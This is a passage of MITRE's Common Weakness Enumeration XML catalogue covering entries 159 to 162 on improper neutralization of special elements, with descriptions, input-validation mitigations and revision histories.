               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Null Character / Null Byte</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-04-11">Failure to Remove Null Character / Null Byte</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Failure to Sanitize Null Byte or NUL Character</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="159" Name="Improper Handling of Invalid Use of Special Elements" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not properly filter, remove, quote, or otherwise manage the invalid use of special elements in user-controlled input, which could cause adverse effect on its behavior and integrity.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Common Special Element Manipulations</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Maintenance">The list of children for this entry is far from complete. However, the types of special elements might be too precise for use within CWE.</Note>
            <Note Type="Terminology">Precise terminology for the underlying weaknesses does not exist. Therefore, these weaknesses use the terminology associated with the manipulation.</Note>
            <Note Type="Research Gap">Customized languages and grammars, even those that are specific to a particular product, are potential sources of weaknesses that are related to special elements. However, most researchers concentrate on the most commonly used representations for data transmission, such as HTML and SQL. Any representation that is commonly used is likely to be a rich source of weaknesses; researchers are encouraged to investigate previously unexplored representations.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Other_Notes, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Common Special Element Manipulations</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Failure to Sanitize Special Element</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="160" Name="Improper Neutralization of Leading Special Elements" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.</Description>
         <Extended_Description>As data is parsed, improperly handled leading special elements may cause the process to take unexpected actions that result in an attack.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that leading special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Leading Special Element</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Leading Special Element</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Sanitize Leading Special Element</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Improper Sanitization of Leading Special Elements</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="161" Name="Improper Neutralization of Multiple Leading Special Elements" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.</Description>
         <Extended_Description>As data is parsed, improperly handled multiple leading special elements may cause the process to take unexpected actions that result in an attack.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="160" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that multiple leading special elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Multiple Leading Special Elements</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Multiple Leading Special Elements</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Sanitize Multiple Leading Special Elements</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Improper Sanitization of Multiple Leading Special Elements</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="162" Name="Improper Neutralization of Trailing Special Elements" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component.</Description>
         <Extended_Description>As data is parsed, improperly handled trailing special elements may cause the process to take unexpected actions that result in an attack.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
